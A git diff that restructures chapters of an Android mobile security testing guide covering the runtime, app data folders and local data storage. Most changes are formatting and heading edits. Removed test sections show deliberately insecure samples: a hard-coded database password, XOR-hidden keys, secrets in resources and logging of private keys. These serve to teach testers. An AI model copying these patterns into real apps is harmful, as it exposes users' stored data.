information in app native crash reports, by including both Java and native stack information. It uses the same Dalvik bytecode input to maintain backward compatibility. However, ART executes the Dalvik bytecode differently, using a hybrid combination of *ahead-of-time* (AOT), *just-in-time* (JIT) and profile-guided compilation. +Since Android 5.0 (API level 21), Android executes bytecode on the Android Runtime (ART) which is the successor of the DVM. ART provides improved performance as well as context information in app native crash reports, by including both Java and native stack information. It uses the same Dalvik bytecode input to maintain backward compatibility. However, ART executes the Dalvik bytecode differently, using a hybrid combination of _ahead-of-time_ (AOT), _just-in-time_ (JIT) and profile-guided compilation. - **AOT** pre-compiles Dalvik bytecode into native code, and the generated code will be saved on disk with the .oat extension (ELF binary). The dex2oat tool can be used to perform the compilation and can be found at /system/bin/dex2oat on Android devices. AOT compilation is executed during the installation of the app. This makes the application start faster, as no compilation is needed anymore. However, this also means that the install time increases as compared to JIT compilation. Additionally, since applications are always optimized against the current version of the OS, this means that software updates will recompile all previously compiled applications, resulting in a significant increase in the system update time. Finally, AOT compilation will compile the entire application, even if certain parts are never used by the user. - **JIT** happens at runtime. @@ -120,7 +120,7 @@ Android implements an extensive permissions system that is used as an access con Further information is available in the [Android documentation](https://developer.android.com/guide/topics/permissions/overview) including several [considerations](https://developer.android.com/training/permissions/evaluating) and [best practices](https://developer.android.com/training/permissions/usage-notes). -To learn how to test app permissions refer to the [Testing App Permissions](0x05h-Testing-Platform-Interaction.md#testing-app-permissions-mstg-platform-1) section in the "Android Platform APIs" chapter. +To learn how to test app permissions refer to the [Testing App Permissions](0x05h-Testing-Platform-Interaction.md#app-permissions) section in the "Android Platform APIs" chapter. ### Network security @@ -177,24 +177,24 @@ Noteworthy API versions: - Android 8.0 (API level 26-27) in August 2017 (a lot of security improvements) - Android 9 (API level 28) in August 2018 (restriction of background usage of mic or camera, introduction of lockdown mode, default HTTPS for all apps) - **Android 10 (API level 29)** in September 2019 (access location "only while using the app", device tracking prevention, improve secure external storage,) - - Privacy ([overview](https://developer.android.com/about/versions/10/highlights#privacy_for_users), [details 1](https://developer.android.com/about/versions/10/privacy), [details 2](https://developer.android.com/about/versions/10/privacy/changes)) - - Security ([overview](https://developer.android.com/about/versions/10/highlights#security), [details](https://developer.android.com/about/versions/10/behavior-changes-all#security)) + - Privacy ([overview](https://developer.android.com/about/versions/10/highlights#privacy_for_users), [details 1](https://developer.android.com/about/versions/10/privacy), [details 2](https://developer.android.com/about/versions/10/privacy/changes)) + - Security ([overview](https://developer.android.com/about/versions/10/highlights#security), [details](https://developer.android.com/about/versions/10/behavior-changes-all#security)) - **Android 11 (API level 30)** in September 2020 (scoped storage enforcement, Permissions auto-reset, [reduced package visibility](https://developer.android.com/training/package-visibility), APK Signature Scheme v4) - - Privacy ([overview](https://developer.android.com/about/versions/11/privacy)) - - [Privacy Behavior changes (all apps)](https://developer.android.com/about/versions/11/behavior-changes-all) - - [Security Behavior changes (all apps)](https://developer.android.com/about/versions/11/behavior-changes-all#security) - - [Privacy Behavior changes (apps targeting version)](https://developer.android.com/about/versions/11/behavior-changes-11#privacy) - - [Security Behavior changes (apps targeting version)](https://developer.android.com/about/versions/11/behavior-changes-11#security) + - Privacy ([overview](https://developer.android.com/about/versions/11/privacy)) + - [Privacy Behavior changes (all apps)](https://developer.android.com/about/versions/11/behavior-changes-all) + - [Security Behavior changes (all apps)](https://developer.android.com/about/versions/11/behavior-changes-all#security) + - [Privacy Behavior changes (apps targeting version)](https://developer.android.com/about/versions/11/behavior-changes-11#privacy) + - [Security Behavior changes (apps targeting version)](https://developer.android.com/about/versions/11/behavior-changes-11#security) - **Android 12 (API level 31-32)** in August 2021 (Material You, Web intent resolution, Privacy Dashboard) - - [Security and privacy](https://developer.android.com/about/versions/12/features#security-privacy) - - [Behavior changes (all apps)](https://developer.android.com/about/versions/12/behavior-changes-all#security-privacy) - - [Behavior changes (apps targeting version)](https://developer.android.com/about/versions/12/behavior-changes-12#security-privacy) + - [Security and privacy](https://developer.android.com/about/versions/12/features#security-privacy) + - [Behavior changes (all apps)](https://developer.android.com/about/versions/12/behavior-changes-all#security-privacy) + - [Behavior changes (apps targeting version)](https://developer.android.com/about/versions/12/behavior-changes-12#security-privacy) - [BETA] **Android 13 (API level 33)** in 2022 (Safer exporting of context-registered receivers, new photo picker) - - [Security and privacy](https://developer.android.com/about/versions/13/features#privacy-security) - - [Privacy Behavior changes (all apps)](https://developer.android.com/about/versions/13/behavior-changes-all#privacy) - - [Security Behavior changes (all apps)](https://developer.android.com/about/versions/13/behavior-changes-all#security) - - [Privacy Behavior changes (apps targeting version)](https://developer.android.com/about/versions/13/behavior-changes-13#privacy) - - [Security Behavior changes (apps targeting version)](https://developer.android.com/about/versions/13/behavior-changes-13#security) + - [Security and privacy](https://developer.android.com/about/versions/13/features#privacy-security) + - [Privacy Behavior changes (all apps)](https://developer.android.com/about/versions/13/behavior-changes-all#privacy) + - [Security Behavior changes (all apps)](https://developer.android.com/about/versions/13/behavior-changes-all#security) + - [Privacy Behavior changes (apps targeting version)](https://developer.android.com/about/versions/13/behavior-changes-13#privacy) + - [Security Behavior changes (apps targeting version)](https://developer.android.com/about/versions/13/behavior-changes-13#security) ### The App Sandbox @@ -502,11 +502,11 @@ Found 99 services: _Intent messaging_ is an asynchronous communication framework built on top of Binder. This framework allows both point-to-point and publish-subscribe messaging. An _Intent_ is a messaging object that can be used to request an action from another app component. Although intents facilitate inter-component communication in several ways, there are three fundamental use cases: - Starting an activity - - An activity represents a single screen in an app. You can start a new instance of an activity by passing an intent to `startActivity`. The intent describes the activity and carries necessary data. + - An activity represents a single screen in an app. You can start a new instance of an activity by passing an intent to `startActivity`. The intent describes the activity and carries necessary data. - Starting a service - - A Service is a component that performs operations in the background, without a user interface. With Android 5.0 (API level 21) and later, you can start a service with JobScheduler. + - A Service is a component that performs operations in the background, without a user interface. With Android 5.0 (API level 21) and later, you can start a service with JobScheduler. - Delivering a broadcast - - A broadcast is a message that any app can receive. The system delivers broadcasts for system events, including system boot and charging initialization. You can deliver a broadcast to other apps by passing an intent to `sendBroadcast` or `sendOrderedBroadcast`. + - A broadcast is a message that any app can receive. The system delivers broadcasts for system events, including system boot and charging initialization. You can deliver a broadcast to other apps by passing an intent to `sendBroadcast` or `sendOrderedBroadcast`. There are two types of intents. Explicit intents name the component that will be started (the fully qualified class name). For instance: @@ -707,23 +707,3 @@ Apps can be installed on an Android device from a variety of sources: locally vi Whereas other vendors may review and approve apps before they are actually published, Google will simply scan for known malware signatures; this minimizes the time between the beginning of the publishing process and public app availability. Publishing an app is quite straightforward; the main operation is making the signed APK file downloadable. On Google Play, publishing starts with account creation and is followed by app delivery through a dedicated interface. Details are available at [the official Android documentation](https://play.google.com/console/about/guides/releasewithconfidence/ "Review the checklists to plan your launch"). - -## Android Application Attack Surface - -The Android application attack surface consists of all components of the application, including the supportive material necessary to release the app and to support its functioning. The Android application may be vulnerable to attack if it does not: - -- Validate all input by means of IPC communication or URL schemes, see also: - - [Testing for Sensitive Functionality Exposure Through IPC](0x05h-Testing-Platform-Interaction.md#testing-for-sensitive-functionality-exposure-through-ipc-mstg-platform-4) - - [Testing Deep Links](0x05h-Testing-Platform-Interaction.md#testing-deep-links-mstg-platform-3) -- Validate all input by the user in input fields. -- Validate the content loaded inside a WebView, see also: - - [Testing JavaScript Execution in WebViews](0x05h-Testing-Platform-Interaction.md#testing-javascript-execution-in-webviews-mstg-platform-5) - - [Testing WebView Protocol Handlers](0x05h-Testing-Platform-Interaction.md#testing-webview-protocol-handlers-mstg-platform-6) - - [Determining Whether Java Objects Are Exposed Through WebViews](0x05h-Testing-Platform-Interaction.md#determining-whether-java-objects-are-exposed-through-webviews-mstg-platform-7) -- Securely communicate with backend servers or is susceptible to man-in-the-middle attacks between the server and the mobile application, see also: - - [Testing Network Communication](0x04f-Testing-Network-Communication.md#testing-network-communication) - - [Android Network Communication](0x05g-Testing-Network-Communication.md) -- Securely stores all local data, or loads untrusted data from storage, see also: - - [Data Storage on Android](0x05d-Testing-Data-Storage.md) -- Protect itself against compromised environments, repackaging or other local attacks, see also: - - [Android Anti-Reversing Defenses](0x05j-Testing-Resiliency-Against-Reverse-Engineering.md) diff --git a/Document/0x05b-Basic-Security_Testing.md b/Document/0x05b-Basic-Security_Testing.md index a33ff7fa5d..8b589694f4 100644 --- a/Document/0x05b-Basic-Security_Testing.md +++ b/Document/0x05b-Basic-Security_Testing.md @@ -486,9 +486,9 @@ The following files are unpacked: - AndroidManifest.xml: contains the definition of the app's package name, target and minimum [API level](https://developer.android.com/guide/topics/manifest/uses-sdk-element#ApiLevels "API Levels"), app configuration, app components, permissions, etc. - original/META-INF: contains the app's metadata - - MANIFEST.MF: stores hashes of the app resources - - CERT.RSA: the app's certificate(s) - - CERT.SF: list of resources and the SHA-1 digest of the corresponding lines in the MANIFEST.MF file + - MANIFEST.MF: stores hashes of the app resources + - CERT.RSA: the app's certificate(s) + - CERT.SF: list of resources and the SHA-1 digest of the corresponding lines in the MANIFEST.MF file - assets: directory containing app assets (files used within the Android app, such as XML files, JavaScript files, and pictures), which the [AssetManager](https://developer.android.com/reference/android/content/res/AssetManager) can retrieve - classes.dex: classes compiled in the DEX file format, that Dalvik virtual machine/Android Runtime can process. DEX is Java bytecode for the Dalvik Virtual Machine. It is optimized for small devices - lib: directory containing 3rd party libraries that are part of the APK @@ -628,12 +628,12 @@ Each folder has its own purpose: - **cache**: This location is used for data caching. For example, the WebView cache is found in this directory. - **code_cache**: This is the location of the file system's application-specific cache directory designed for storing cached code. On devices running Android 5.0 (API level 21) or later, the system will delete any files stored in this location when the app or the entire platform is upgraded. - **lib**: This folder stores native libraries written in C/C++. These libraries can have one of several file extensions, including .so and .dll (x86 support). This folder contains subdirectories for the platforms the app has native libraries for, including - - armeabi: compiled code for all ARM-based processors - - armeabi-v7a: compiled code for all ARM-based processors, version 7 and above only - - arm64-v8a: compiled code for all 64-bit ARM-based processors, version 8 and above based only - - x86: compiled code for x86 processors only - - x86_64: compiled code for x86_64 processors only - - mips: compiled code for MIPS processors + - armeabi: compiled code for all ARM-based processors + - armeabi-v7a: compiled code for all ARM-based processors, version 7 and above only + - arm64-v8a: compiled code for all 64-bit ARM-based processors, version 8 and above based only + - x86: compiled code for x86 processors only + - x86_64: compiled code for x86_64 processors only + - mips: compiled code for MIPS processors - **shared_prefs**: This folder contains an XML file that stores values saved via the [SharedPreferences APIs](https://developer.android.com/training/basics/data-storage/shared-preferences.html "SharedPreferences APIs"). - **files**: This folder stores regular files created by the app. - **databases**: This folder stores SQLite database files generated by the app at runtime, e.g., user data files. diff --git a/Document/0x05d-Testing-Data-Storage.md b/Document/0x05d-Testing-Data-Storage.md index ef05a98382..34a9f2d202 100644 --- a/Document/0x05d-Testing-Data-Storage.md +++ b/Document/0x05d-Testing-Data-Storage.md @@ -1,5 +1,12 @@ +--- +masvs_category: MASVS-STORAGE +platform: android +--- + # Android Data Storage +## Overview + Protecting authentication tokens, private information, and other sensitive data is key to mobile security. In this chapter, you will learn about the APIs Android offers for local data storage and best practices for using them. The guidelines for saving data can be summarized quite easily: public data should be available to everyone, but sensitive and private data must be protected, or, better yet, kept out of device storage. @@ -34,7 +41,7 @@ In addition to this, there are a number of other functions in Android built for It is important to understand each relevant data storage function in order to correctly perform the appropriate test cases. This overview aims to provide a brief outline of each of these data storage methods, as well as point testers to further relevant documentation. -## Shared Preferences +### Shared Preferences The [SharedPreferences](https://developer.android.com/training/data-storage/shared-preferences "Shared Preferences") API is commonly used to permanently save small collections of key-value pairs. Data stored in a SharedPreferences object is written to a plain-text XML file. The SharedPreferences object can be declared world-readable (accessible to all apps) or private. Misuse of the SharedPreferences API can often lead to exposure of sensitive data. Consider the following example: @@ -80,7 +87,7 @@ root@hermes:/data/data/sg.vp.owasp_mobile.myfirstapp/shared_prefs # ls -la > Please note that `MODE_WORLD_READABLE` and `MODE_WORLD_WRITEABLE` were deprecated starting on API level 17. Although newer devices may not be affected by this, applications compiled with an `android:targetSdkVersion` value less than 17 may be affected if they run on an OS version that was released before Android 4.2 (API level 17). -## Databases +### Databases The Android platform provides a number of database options as aforementioned in the previous list. Each database option has its own quirks and methods that need to be understood. @@ -175,7 +182,7 @@ Realm realm = Realm.getInstance(config); If the database _is not_ encrypted, you should be able to obtain the data. If the database _is_ encrypted, determine whether the key is hard-coded in the source or resources and whether it is stored unprotected in shared preferences or some other location. -## Internal Storage +### Internal Storage You can save files to the device's [internal storage](https://developer.android.com/training/data-storage#filesInternal "Using Internal Storage"). Files saved to internal storage are containerized by default and cannot be accessed by other apps on the device. When the user uninstalls your app, these files are removed. The following code snippets would persistently store sensitive data to internal storage. @@ -208,7 +215,7 @@ You should check the file mode to make sure that only the app can access the fil Search for the class `FileInputStream` to find out which files are opened and read within the app. -## External Storage +### External Storage Every Android-compatible device supports [shared external storage](https://developer.android.com/training/data-storage#filesExternal "Using External Storage"). This storage may be removable (such as an SD card) or internal (non-removable). Files saved to external storage are world-readable. The user can modify them when USB mass storage is enabled. @@ -239,7 +246,7 @@ The file will be created and the data will be stored in a clear text file in ext It's also worth knowing that files stored outside the application folder (`data/data//`) will not be deleted when the user uninstalls the application. Finally, it's worth noting that the external storage can be used by an attacker to allow for arbitrary control of the application in some cases. For more information: [see the blog from Checkpoint](https://blog.checkpoint.com/2018/08/12/man-in-the-disk-a-new-attack-surface-for-android-apps/ "Man in the disk"). -## KeyStore +### KeyStore The [Android KeyStore](https://www.androidauthority.com/use-android-keystore-store-passwords-sensitive-information-623779/ "Use Android KeyStore") supports relatively secure credential storage. As of Android 4.3 (API level 18), it provides public APIs for storing and using app-private keys. An app can use a public key to create a new private/public key pair for encrypting application secrets, and it can decrypt the secrets with the private key. @@ -274,14 +281,14 @@ Although the key attestation process can be implemented within the application d - The server should initiate the key attestation process by creating a random number securely using CSPRNG(Cryptographically Secure Random Number Generator) and the same should be sent to the user as a challenge. - The client should call the `setAttestationChallenge` API with the challenge received from the server and should then retrieve the attestation certificate chain using the `KeyStore.getCertificateChain` method. - The attestation response should be sent to the server for the verification and following checks should be performed for the verification of the key attestation response: - - Verify the certificate chain, up to the root and perform certificate sanity checks such as validity, integrity and trustworthiness. Check the [Certificate Revocation Status List](https://developer.android.com/training/articles/security-key-attestation#root_certificat "Certificate Revocation Status List") maintained by Google, if none of the certificates in the chain was revoked. - - Check if the root certificate is signed with the Google attestation root key which makes the attestation process trustworthy. - - Extract the attestation [certificate extension data](https://developer.android.com/training/articles/security-key-attestation#certificate_schema "Certificate extension data schema"), which appears within the first element of the certificate chain and perform the following checks: - - Verify that the attestation challenge is having the same value which was generated at the server while initiating the attestation process. - - Verify the signature in the key attestation response. - - Verify the security level of the Keymaster to determine if the device has secure key storage mechanism. Keymaster is a piece of software that runs in the security context and provides all the secure keystore operations. The security level will be one of `Software`, `TrustedEnvironment` or `StrongBox`. The client supports hardware-level key attestation if security level is `TrustedEnvironment` or `StrongBox` and attestation certificate chain contains a root certificate signed with Google attestation root key. - - Verify client's status to ensure full chain of trust - verified boot key, locked bootloader and verified boot state. - - Additionally, you can verify the key pair's attributes such as purpose, access time, authentication requirement, etc. + - Verify the certificate chain, up to the root and perform certificate sanity checks such as validity, integrity and trustworthiness. Check the [Certificate Revocation Status List](https://developer.android.com/training/articles/security-key-attestation#root_certificat "Certificate Revocation Status List") maintained by Google, if none of the certificates in the chain was revoked. + - Check if the root certificate is signed with the Google attestation root key which makes the attestation process trustworthy. + - Extract the attestation [certificate extension data](https://developer.android.com/training/articles/security-key-attestation#certificate_schema "Certificate extension data schema"), which appears within the first element of the certificate chain and perform the following checks: + - Verify that the attestation challenge is having the same value which was generated at the server while initiating the attestation process. + - Verify the signature in the key attestation response. + - Verify the security level of the Keymaster to determine if the device has secure key storage mechanism. Keymaster is a piece of software that runs in the security context and provides all the secure keystore operations. The security level will be one of `Software`, `TrustedEnvironment` or `StrongBox`. The client supports hardware-level key attestation if security level is `TrustedEnvironment` or `StrongBox` and attestation certificate chain contains a root certificate signed with Google attestation root key. + - Verify client's status to ensure full chain of trust - verified boot key, locked bootloader and verified boot state. + - Additionally, you can verify the key pair's attributes such as purpose, access time, authentication requirement, etc. > Note, if for any reason that process fails, it means that the key is not in security hardware. That does not mean that the key is compromised. @@ -430,7 +437,7 @@ There are several different open-source libraries that offer encryption capabili > Please keep in mind that as long as the key is not stored in the KeyStore, it is always possible to easily retrieve the key on a rooted device and then decrypt the values you are trying to protect. -## KeyChain +### KeyChain The [KeyChain class](https://developer.android.com/reference/android/security/KeyChain.html "Android KeyChain") is used to store and retrieve _system-wide_ private keys and their corresponding certificates (chain). The user will be prompted to set a lock screen pin or password to protect the credential storage if something is being imported into the KeyChain for the first time. Note that the KeyChain is system-wide, every application can access the materials stored in the KeyChain. @@ -439,7 +446,7 @@ Inspect the source code to determine whether native Android mechanisms identify - Make sure that the app is using the Android KeyStore and Cipher mechanisms to securely store encrypted information on the device. Look for the patterns `AndroidKeystore`, `import java.security.KeyStore`, `import javax.crypto.Cipher`, `import java.security.SecureRandom`, and corresponding usages. - Use the `store(OutputStream stream, char[] password)` function to store the KeyStore to disk with a password. Make sure that the password is provided by the user, not hard-coded. -## Logs +### Logs There are many legitimate reasons to create log files on a mobile device, such as keeping track of crashes, errors, and usage statistics. Log files can be stored locally when the app is offline and sent to the endpoint once the app is online. However, logging sensitive data may expose the data to attackers or malicious applications, and it might also violate user confidentiality. You can create log files in several ways. The following list includes two classes that are available for Android: @@ -447,7 +454,7 @@ You can create log files in several ways. The following list includes two classe - [Log Class](https://developer.android.com/reference/android/util/Log.html "Log Class") - [Logger Class](https://developer.android.com/reference/java/util/logging/Logger.html "Logger Class") -## Backups +### Backups Android provides users with an auto-backup feature. The backups usually include copies of data and settings for all installed apps. Given its diverse ecosystem, Android supports many backup options: @@ -456,9 +463,9 @@ Android provides users with an auto-backup feature. The backups usually include - Google provides a "Back Up My Data" feature that backs up all app data to Google's servers. - Two Backup APIs are available to app developers: - - [Key/Value Backup](https://developer.android.com/guide/topics/data/keyvaluebackup.html "Key/Value Backup") (Backup API or Android Backup Service) uploads to the Android Backup Service cloud. + - [Key/Value Backup](https://developer.android.com/guide/topics/data/keyvaluebackup.html "Key/Value Backup") (Backup API or Android Backup Service) uploads to the Android Backup Service cloud. - - [Auto Backup for Apps](https://developer.android.com/guide/topics/data/autobackup.html "Auto Backup for Apps"): With Android 6.0 (API level 23) and above, Google added the "Auto Backup for Apps feature". This feature automatically syncs at most 25MB of app data with the user's Google Drive account. + - [Auto Backup for Apps](https://developer.android.com/guide/topics/data/autobackup.html "Auto Backup for Apps"): With Android 6.0 (API level 23) and above, Google added the "Auto Backup for Apps feature". This feature automatically syncs at most 25MB of app data with the user's Google Drive account. - OEMs may provide additional options. For example, HTC devices have a "HTC Backup" option that performs daily backups to the cloud when activated. @@ -472,7 +479,7 @@ To prevent the app data backup, set the `android:allowBackup` attribute to **fal > Note: If the device was encrypted, then the backup files will be encrypted as well. -## Process Memory +### Process Memory All applications on Android use memory to perform normal computational operations like any regular modern-day computer. It is of no surprise then that at times sensitive operations will be performed within process memory. For this reason, it is important that once the relevant sensitive data has been processed, it should be disposed from process memory as quickly as possible. @@ -510,7 +517,7 @@ The RSA key pair is based on the `BigInteger` type and therefore resides in memo User-provided data (credentials, social security numbers, credit card information, etc.) is another type of data that may be exposed in memory. Regardless of whether you flag it as a password field, `EditText` delivers content to the app via the `Editable` interface. If your app doesn't provide `Editable.Factory`, user-provided data will probably be exposed in memory for longer than necessary. The default `Editable` implementation, the `SpannableStringBuilder`, causes the same issues as Java's `StringBuilder` and `StringBuffer` cause (discussed above). -## Third-party Services Embedded in the App +### Third-party Services Embedded in the App The features provided by third-party services can involve tracking services to monitor the user's behavior while using the app, selling banner advertisements, or improving the user experience. @@ -521,7 +528,7 @@ Most third-party services are implemented in two ways: - with a standalone library - with a full SDK -## User Interface +### User Interface ### UI Components @@ -548,1147 +555,3 @@ For this reason all notification usage should be inspected for confidential or h ### Keyboard Cache When users enter information in input fields, the software automatically suggests data. This feature can be very useful for messaging apps. However, the keyboard cache may disclose sensitive information when the user selects an input field that takes this type of information. - -## Testing Local Storage for Sensitive Data (MSTG-STORAGE-1 and MSTG-STORAGE-2) - -### Overview - -This test case focuses on identifying potentially sensitive data stored by an application and verifying if it is securely stored. The following checks should be performed: - -- Analyze data storage in the source code. -- Be sure to trigger all possible functionality in the application (e.g. by clicking everywhere possible) in order to ensure data generation. -- Check all application generated and modified files and ensure that the storage method is sufficiently secure. - - This includes SharedPreferences, SQL databases, Realm Databases, Internal Storage, External Storage, etc. - -In general sensitive data stored locally on the device should always be at least encrypted, and any keys used for encryption methods should be securely stored within the Android Keystore. These files should also be stored within the application sandbox. If achievable for the application, sensitive data should be stored off device or, even better, not stored at all. - -### Static Analysis - -First of all, try to determine the kind of storage used by the Android app and to find out whether the app processes sensitive data insecurely. - -- Check `AndroidManifest.xml` for read/write external storage permissions, for example, `uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"`. -- Check the source code for keywords and API calls that are used to store data: - - File permissions, such as: - - `MODE_WORLD_READABLE` or `MODE_WORLD_WRITABLE`: You should avoid using `MODE_WORLD_WRITEABLE` and `MODE_WORLD_READABLE` for files because any app will be able to read from or write to the files, even if they are stored in the app's private data directory. If data must be shared with other applications, consider a content provider. A content provider offers read and write permissions to other apps and can grant dynamic permission on a case-by-case basis. - - Classes and functions, such as: - - the `SharedPreferences` class ( stores key-value pairs) - - the `FileOutPutStream` class (uses internal or external storage) - - the `getExternal*` functions (use external storage) - - the `getWritableDatabase` function (returns a SQLiteDatabase for writing) - - the `getReadableDatabase` function (returns a SQLiteDatabase for reading) - - the `getCacheDir` and `getExternalCacheDirs` function (use cached files) - -Encryption should be implemented using proven SDK functions. The following describes bad practices to look for in the source code: - -- Locally stored sensitive information "encrypted" via simple bit operations like XOR or bit flipping. These operations should be avoided because the encrypted data can be recovered easily. -- Keys used or created without Android onboard features, such as the Android KeyStore -- Keys disclosed by hard-coding - -A typical misuse are hard-coded cryptographic keys. Hard-coded and world-readable cryptographic keys significantly increase the possibility that encrypted data will be recovered. Once an attacker obtains the data, decrypting it is trivial. Symmetric cryptography keys must be stored on the device, so identifying them is just a matter of time and effort. Consider the following code: - -```java -this.db = localUserSecretStore.getWritableDatabase("SuperPassword123"); -``` - -Obtaining the key is trivial because it is contained in the source code and identical for all installations of the app. Encrypting data this way is not beneficial. Look for hard-coded API keys/private keys and other valuable data; they pose a similar risk. Encoded/encrypted keys represent another attempt to make it harder but not impossible to get the crown jewels. - -Consider the following code: - -Example in Java: - -```java -//A more complicated effort to store the XOR'ed halves of a key (instead of the key itself) -private static final String[] myCompositeKey = new String[]{ - "oNQavjbaNNSgEqoCkT9Em4imeQQ=","3o8eFOX4ri/F8fgHgiy/BS47" -}; -``` - -Example in Kotlin: - -```kotlin -private val myCompositeKey = arrayOf("oNQavjbaNNSgEqoCkT9Em4imeQQ=", "3o8eFOX4ri/F8fgHgiy/BS47") -``` - -The algorithm for decoding the original key might be something like this: - -Example in Java: - -```java -public void useXorStringHiding(String myHiddenMessage) { - byte[] xorParts0 = Base64.decode(myCompositeKey[0],0); - byte[] xorParts1 = Base64.decode(myCompositeKey[1],0); - - byte[] xorKey = new byte[xorParts0.length]; - for(int i = 0; i < xorParts1.length; i++){ - xorKey[i] = (byte) (xorParts0[i] ^ xorParts1[i]); - } - HidingUtil.doHiding(myHiddenMessage.getBytes(), xorKey, false); -} -``` - -Example in Kotlin: - -```kotlin -fun useXorStringHiding(myHiddenMessage:String) { - val xorParts0 = Base64.decode(myCompositeKey[0], 0) - val xorParts1 = Base64.decode(myCompositeKey[1], 0) - val xorKey = ByteArray(xorParts0.size) - for (i in xorParts1.indices) - { - xorKey[i] = (xorParts0[i] xor xorParts1[i]).toByte() - } - HidingUtil.doHiding(myHiddenMessage.toByteArray(), xorKey, false) -} -``` - -Verify common locations of secrets: - -- resources (typically at res/values/strings.xml) - Example: - - ```xml - - SuperApp - Hello world! - Settings - My_Secret_Key - - ``` - -- build configs, such as in local.properties or gradle.properties - Example: - - ```json - buildTypes { - debug { - minifyEnabled true - buildConfigField "String", "hiddenPassword", "\"${hiddenPassword}\"" - } - } - ``` - -### Dynamic Analysis - -Install and use the app, executing all functions at least once. Data can be generated when entered by the user, sent by the endpoint, or shipped with the app. Then complete the following: - -- Check both internal and external local storage for any files created by the application that contain sensitive data. -- Identify development files, backup files, and old files that shouldn't be included with a production release. -- Determine whether SQLite databases are available and whether they contain sensitive information. SQLite databases are stored in `/data/data//databases`. -- Identify if SQLite databases are encrypted. If so, determine how the database password is generated and stored and if this is sufficiently protected as described in the "[Storing a Key](#storing-a-key)" section of the Keystore overview. -- Check Shared Preferences that are stored as XML files (in `/data/data//shared_prefs`) for sensitive information. Shared Preferences are insecure and unencrypted by default. Some apps might opt to use [secure-preferences](https://github.com/scottyab/secure-preferences "Secure-preferences encrypts the values of Shared Preferences") to encrypt the values stored in Shared Preferences. -- Check the permissions of the files in `/data/data/`. Only the user and group created when you installed the app (e.g., u0_a82) should have user read, write, and execute permissions (`rwx`). Other users should not have permission to access files, but they may have execute permissions for directories. -- Check for the usage of any Firebase Real-time databases and attempt to identify if they are misconfigured by making the following network call: - - `https://_firebaseProjectName_.firebaseio.com/.json` -- Determine whether a Realm database is available in `/data/data//files/`, whether it is unencrypted, and whether it contains sensitive information. By default, the file extension is `realm` and the file name is `default`. Inspect the Realm database with the [Realm Browser](https://github.com/realm/realm-browser-osx "Realm Browser for macOS"). - -## Testing Local Storage for Input Validation (MSTG-PLATFORM-2) - -### Overview - -For any publicly accessible data storage, any process can override the data. This means that input validation needs to be applied the moment the data is read back again. - -> Note: The same is true for private accessible data on a rooted device - -### Static analysis - -#### Using Shared Preferences - -When you use the `SharedPreferences.Editor` to read or write int/boolean/long values, you cannot check whether the data is overridden or not. However: it can hardly be used for actual attacks other than chaining the values (e.g. no additional exploits can be packed which will take over the control flow). In the case of a `String` or a `StringSet` you should be careful with how the data is interpreted. -Using reflection based persistence? Check the section on "Testing Object Persistence" for Android to see how it should be validated. -Using the `SharedPreferences.Editor` to store and read certificates or keys? Make sure you have patched your security provider given vulnerabilities such as found in [Bouncy Castle](https://www.cvedetails.com/cve/CVE-2018-1000613/ "Key reading vulnerability due to unsafe reflection"). - -In all cases, having the content HMACed can help to ensure that no additions and/or changes have been applied. - -#### Using Other Storage Mechanisms - -In case other public storage mechanisms (than the `SharedPreferences.Editor`) are used, the data needs to be validated the moment it is read from the storage mechanism. - -## Testing Logs for Sensitive Data (MSTG-STORAGE-3) - -### Overview - -This test case focuses on identifying any sensitive application data within both system and application logs. The following checks should be performed: - -- Analyze source code for logging related code. -- Check application data directory for log files. -- Gather system messages and logs and analyze for any sensitive data. - -As a general recommendation to avoid potential sensitive application data leakage, logging statements should be removed from production releases unless deemed necessary to the application or explicitly identified as safe, e.g. as a result of a security audit. - -### Static Analysis - -Applications will often use the [Log Class](https://developer.android.com/reference/android/util/Log.html "Log Class") and [Logger Class](https://developer.android.com/reference/java/util/logging/Logger.html "Logger Class") to create logs. To discover this, you should audit the application's source code for any such logging classes. These can often be found by searching for the following keywords: - -- Functions and classes, such as: - - `android.util.Log` - - `Log.d` | `Log.e` | `Log.i` | `Log.v` | `Log.w` | `Log.wtf` - - `Logger` - -- Keywords and system output: - - `System.out.print` | `System.err.print` - - logfile - - logging - - logs - -While preparing the production release, you can use tools like [ProGuard](0x08a-Testing-Tools.md#proguard) (included in Android Studio). To determine whether all logging functions from the `android.util.Log` class have been removed, check the ProGuard configuration file (proguard-rules.pro) for the following options (according to this [example of removing logging code](https://www.guardsquare.com/en/products/proguard/manual/examples#logging "ProGuard\'s example of removing logging code") and this article about [enabling ProGuard in an Android Studio project](https://developer.android.com/studio/build/shrink-code#enable "Android Developer - Enable shrinking, obfuscation, and optimization")): - -```default --assumenosideeffects class android.util.Log -{ - public static boolean isLoggable(java.lang.String, int); - public static int v(...); - public static int i(...); - public static int w(...); - public static int d(...); - public static int e(...); - public static int wtf(...); -} -``` - -Note that the example above only ensures that calls to the Log class' methods will be removed. If the string that will be logged is dynamically constructed, the code that constructs the string may remain in the bytecode. For example, the following code issues an implicit `StringBuilder` to construct the log statement: - -Example in Java: - -```java -Log.v("Private key tag", "Private key [byte format]: " + key); -``` - -Example in Kotlin: - -```kotlin -Log.v("Private key tag", "Private key [byte format]: $key") -``` - -The compiled bytecode, however, is equivalent to the bytecode of the following log statement, which constructs the string explicitly: - -Example in Java: - -```java -Log.v("Private key tag", new StringBuilder("Private key [byte format]: ").append(key.toString()).toString()); -``` - -Example in Kotlin: - -```kotlin -Log.v("Private key tag", StringBuilder("Private key [byte format]: ").append(key).toString()) -``` - -ProGuard guarantees removal of the `Log.v` method call. Whether the rest of the code (`new StringBuilder ...`) will be removed depends on the complexity of the code and the [ProGuard version](https://stackoverflow.com/questions/6009078/removing-unused-strings-during-proguard-optimisation "Removing unused strings during ProGuard optimization "). - -This is a security risk because the (unused) string leaks plain text data into memory, which can be accessed via a debugger or memory dumping. - -Unfortunately, no silver bullet exists for this issue, but one option would be to implement a custom logging facility that takes simple arguments and constructs the log statements internally. - -```java -SecureLog.v("Private key [byte format]: ", key); -``` - -Then configure ProGuard to strip its calls. - -### Dynamic Analysis - -Use all the mobile app functions at least once, then identify the application's data directory and look for log files (`/data/data/`). Check the application logs to determine whether log data has been generated; some mobile applications create and store their own logs in the data directory. - -Many application developers still use `System.out.println` or `printStackTrace` instead of a proper logging class. Therefore, your testing strategy must include all output generated while the application is starting, running and closing. To determine what data is directly printed by `System.out.println` or `printStackTrace`, you can use [`Logcat`](https://developer.android.com/tools/debugging/debugging-log.html "Debugging with Logcat") as explained in the chapter "Basic Security 